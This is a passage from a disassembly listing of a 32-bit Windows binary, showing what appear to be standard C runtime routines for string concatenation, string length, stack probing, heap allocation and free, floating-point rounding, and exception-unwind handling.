		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C01
sub_415B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415BBC


loc_415BAD:				; CODE XREF: sub_415BA0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415BEF
		test	ecx, 3
		jnz	short loc_415BAD


loc_415BBC:				; CODE XREF: sub_415BA0+Bj
					; sub_415BA0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415BBC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415BFE
		test	ah, ah
		jz	short loc_415BF9
		test	eax, 0FF0000h
		jz	short loc_415BF4
		test	eax, 0FF000000h
		jz	short loc_415BEF
		jmp	short loc_415BBC
; ---------------------------------------------------------------------------


loc_415BEF:				; CODE XREF: sub_415BA0+12j
					; sub_415BA0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C01
; ---------------------------------------------------------------------------


loc_415BF4:				; CODE XREF: sub_415BA0+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C01
; ---------------------------------------------------------------------------


loc_415BF9:				; CODE XREF: sub_415BA0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C01
; ---------------------------------------------------------------------------


loc_415BFE:				; CODE XREF: sub_415BA0+39j
		lea	edi, [ecx-4]


loc_415C01:				; CODE XREF: sub_415B90+5j
					; sub_415BA0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C26


loc_415C0D:				; CODE XREF: sub_415BA0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415C78
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C0D
		jmp	short loc_415C26
; ---------------------------------------------------------------------------


loc_415C21:				; CODE XREF: sub_415BA0+9Ej
					; sub_415BA0+B8j
		mov	[edi], edx
		add	edi, 4


loc_415C26:				; CODE XREF: sub_415BA0+6Bj
					; sub_415BA0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C21
		test	dl, dl
		jz	short loc_415C78
		test	dh, dh
		jz	short loc_415C6F
		test	edx, 0FF0000h
		jz	short loc_415C62
		test	edx, 0FF000000h
		jz	short loc_415C5A
		jmp	short loc_415C21
; ---------------------------------------------------------------------------


loc_415C5A:				; CODE XREF: sub_415BA0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415C62:				; CODE XREF: sub_415BA0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415C6F:				; CODE XREF: sub_415BA0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415C78:				; CODE XREF: sub_415BA0+72j
					; sub_415BA0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C80	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415CA0


loc_415C8C:				; CODE XREF: sub_415C80+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415CD3
		test	ecx, 3
		jnz	short loc_415C8C
		add	eax, 0


loc_415CA0:				; CODE XREF: sub_415C80+Aj
					; sub_415C80+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415CA0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415CF1
		test	ah, ah
		jz	short loc_415CE7
		test	eax, 0FF0000h
		jz	short loc_415CDD
		test	eax, 0FF000000h
		jz	short loc_415CD3
		jmp	short loc_415CA0
; ---------------------------------------------------------------------------


loc_415CD3:				; CODE XREF: sub_415C80+11j
					; sub_415C80+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415CDD:				; CODE XREF: sub_415C80+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415CE7:				; CODE XREF: sub_415C80+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415CF1:				; CODE XREF: sub_415C80+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415C80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_402688+8p
					; sub_404138+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D20


loc_415D0C:				; CODE XREF: sub_415D00+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D0C


loc_415D20:				; CODE XREF: sub_415D00+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D00	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D2F	proc near		; CODE XREF: sub_4029F3+Ap
					; sub_402A2D+12p ...

arg_0		= dword	ptr  4

		push	ds:dword_4C90E4
		push	[esp+4+arg_0]
		call	sub_415D41
		pop	ecx
		pop	ecx
		retn
sub_415D2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D41	proc near		; CODE XREF: sub_415D2F+Ap
					; sub_4167A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415D6A


loc_415D48:				; CODE XREF: sub_415D41+27j
		push	[esp+arg_0]
		call	sub_415D6D
		test	eax, eax
		pop	ecx
		jnz	short locret_415D6C
		cmp	[esp+arg_4], eax
		jz	short locret_415D6C
		push	[esp+arg_0]
		call	sub_418C74
		test	eax, eax
		pop	ecx
		jnz	short loc_415D48


loc_415D6A:				; CODE XREF: sub_415D41+5j
		xor	eax, eax

locret_415D6C:				; CODE XREF: sub_415D41+13j
					; sub_415D41+19j
		retn
sub_415D41	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D6D	proc near		; CODE XREF: sub_415D41+Bp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4CA708
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_415D91
		cmp	esi, ds:dword_4CA700
		ja	short loc_415DC3
		push	esi
		call	sub_4191FD
		test	eax, eax
		pop	ecx
		jz	short loc_415DC3
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415D91:				; CODE XREF: sub_415D6D+Dj
		cmp	eax, 2
		jnz	short loc_415DC3
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_415DA6
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_415DA9
; ---------------------------------------------------------------------------


loc_415DA6:				; CODE XREF: sub_415D6D+2Fj
		push	10h
		pop	esi


loc_415DA9:				; CODE XREF: sub_415D6D+37j
		cmp	esi, ds:dword_4315A4
		ja	short loc_415DD0
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419CA0
		test	eax, eax
		pop	ecx
		jnz	short loc_415DDF
		jmp	short loc_415DD0
; ---------------------------------------------------------------------------


loc_415DC3:				; CODE XREF: sub_415D6D+15j
					; sub_415D6D+20j ...
		test	esi, esi
		jnz	short loc_415DCA
		push	1
		pop	esi


loc_415DCA:				; CODE XREF: sub_415D6D+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_415DD0:				; CODE XREF: sub_415D6D+42j
					; sub_415D6D+54j
		push	esi
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap


loc_415DDF:				; CODE XREF: sub_415D6D+52j
		pop	esi
		retn
sub_415D6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DE1	proc near		; CODE XREF: sub_402A82+Ap
					; sub_402A9B+7Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_415E47
		mov	eax, ds:dword_4CA708
		cmp	eax, 3
		jnz	short loc_415E0D
		push	esi
		call	sub_418EA9
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E39
		push	eax
		call	sub_418ED4
		pop	ecx
		pop	ecx
		jmp	short loc_415E47
; ---------------------------------------------------------------------------


loc_415E0D:				; CODE XREF: sub_415DE1+14j
		cmp	eax, 2
		jnz	short loc_415E38
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_419C04
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415E38
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_419C5B
		add	esp, 0Ch
		jmp	short loc_415E47
; ---------------------------------------------------------------------------


loc_415E38:				; CODE XREF: sub_415DE1+2Fj
					; sub_415DE1+44j
		push	esi


loc_415E39:				; CODE XREF: sub_415DE1+20j
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C4	; RtlFreeHeap


loc_415E47:				; CODE XREF: sub_415DE1+Aj
					; sub_415DE1+2Aj ...
		pop	esi
		leave
		retn
sub_415DE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E4A(double)

sub_415E4A	proc near		; CODE XREF: sub_4031B3+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42F320
		call	sub_41A89D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415ED0
		call	sub_41A765
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415EB3
		cmp	eax, 2
		jle	short loc_415EA5
		cmp	eax, 3
		jnz	short loc_415EB3
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41A075
		add	esp, 10h
		jmp	short loc_415F15
; ---------------------------------------------------------------------------


loc_415EA5:				; CODE XREF: sub_415E4A+3Fj
		push	esi
		push	ebx
		call	sub_41A89D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F15
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E4A+3Aj
					; sub_415E4A+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_422690
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F0D
; ---------------------------------------------------------------------------


loc_415ED0:				; CODE XREF: sub_415E4A+2Fj
		call	sub_41A72A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415EF3


loc_415EE5:				; CODE XREF: sub_415E4A+ACj
		push	esi
		push	ebx
		call	sub_41A89D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F15
; ---------------------------------------------------------------------------


loc_415EF3:				; CODE XREF: sub_415E4A+99j
		test	bl, 20h
		jnz	short loc_415EE5
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415F0D:				; CODE XREF: sub_415E4A+84j
		call	sub_41A0C8
		add	esp, 1Ch


loc_415F15:				; CODE XREF: sub_415E4A+59j
					; sub_415E4A+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F19	proc near		; CODE XREF: sub_417BD8+9p
					; sub_41A966+21p
					; DATA XREF: ...
		call	sub_415F31
		call	sub_41A966
		mov	ds:dword_4C9064, eax
		call	sub_41A916
		fnclex
		retn
sub_415F19	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F31	proc near		; CODE XREF: sub_415F19p
		mov	eax, offset sub_41AD54
		mov	ds:off_4316C4, offset sub_41A9E9
		mov	ds:off_4316C0, eax
		mov	ds:off_4316C8, offset sub_41AA4F
		mov	ds:off_4316CC, offset sub_41A98F
		mov	ds:off_4316D0, offset sub_41AA37
		mov	ds:off_4316D4, eax
		retn
sub_415F31	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F6C	proc near		; CODE XREF: sub_4031B3+1Bp
					; sub_4031B3+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415F93(double)

sub_415F93	proc near		; CODE XREF: sub_4031FF+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42F338
		call	sub_41A89D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416019
		call	sub_41A765
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415FFC
		cmp	eax, 2
		jle	short loc_415FEE
		cmp	eax, 3
		jnz	short loc_415FFC
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41A075
		add	esp, 10h
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FEE:				; CODE XREF: sub_415F93+3Fj
		push	esi
		push	ebx
		call	sub_41A89D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: sub_415F93+3Aj
					; sub_415F93+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_422690
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416056
; ---------------------------------------------------------------------------


loc_416019:				; CODE XREF: sub_415F93+2Fj
		call	sub_41A72A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41603C


loc_41602E:				; CODE XREF: sub_415F93+ACj
		push	esi
		push	ebx
		call	sub_41A89D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: sub_415F93+99j
		test	bl, 20h
		jnz	short loc_41602E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_416056:				; CODE XREF: sub_415F93+84j
		call	sub_41A0C8
		add	esp, 1Ch


loc_41605E:				; CODE XREF: sub_415F93+59j
					; sub_415F93+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416062	proc near		; CODE XREF: sub_41B1C5+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416062	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_416096	proc near		; CODE XREF: sub_41B376+199p
					; sub_41B53A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_416096	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41609D	proc near		; CODE XREF: sub_41B376+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41609D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160A4	proc near		; CODE XREF: sub_416256+5Cp
					; sub_41B1C5:loc_41B1F6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160CC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_420B66	; RtlUnwind


loc_4160CC:				; DATA XREF: sub_4160A4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160A4	endp

; ---------------------------------------------------------------------------


loc_4160F3:				; CODE XREF: _0:00421208j _0:00421225j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41ADCA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416129	proc near		; CODE XREF: sub_41B240+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41617D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41B5D0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41617D	proc near		; DATA XREF: sub_416129+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ADCA
		add	esp, 20h
		pop	ebp
		retn
sub_41617D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161A2	proc near		; CODE XREF: sub_41B00C+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416256
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416228
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4C9108
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_416228:				; DATA XREF: sub_4161A2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416245
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41624E
; ---------------------------------------------------------------------------


loc_416245:				; CODE XREF: sub_4161A2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41624E:				; CODE XREF: sub_4161A2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416256	proc near		; DATA XREF: sub_4161A2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416279
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162C6
; ---------------------------------------------------------------------------


loc_416279:				; CODE XREF: sub_416256+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ADCA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162B7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160A4


loc_4162B7:				; CODE XREF: sub_416256+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4162C6:				; CODE XREF: sub_416256+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416256	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162CB	proc near		; CODE XREF: sub_41AE65+C6p
					; sub_41B00C+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416322


loc_4162E9:				; CODE XREF: sub_4162CB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4162F3
		call	sub_41B672


loc_4162F3:				; CODE XREF: sub_4162CB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416308
		cmp	ecx, [eax+8]
		jle	short loc_41630D


loc_416308:				; CODE XREF: sub_4162CB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416319


loc_41630D:				; CODE XREF: sub_4162CB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_416319:				; CODE XREF: sub_4162CB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4162E9
		mov	eax, [ebp+var_4]


loc_416322:				; CODE XREF: sub_4162CB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416336
		cmp	esi, eax
		jbe	short loc_41633B


loc_416336:				; CODE XREF: sub_4162CB+65j
		call	sub_41B672


loc_41633B:				; CODE XREF: sub_4162CB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162CB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416348	proc near		; CODE XREF: sub_41D894+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416360
		push	[ebp+arg_0]
		call	sub_420B66	; RtlUnwind


loc_416360:				; DATA XREF: sub_416348+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416348	endp


; =============== S U B	R O U T	I N E =======================================



sub_416368	proc near		; DATA XREF: sub_41638A+Ao
					; sub_4163F2+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416389
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416389:				; CODE XREF: sub_416368+10j
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41638A	proc near		; CODE XREF: sub_41B2E6+Dp
					; sub_41D894+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
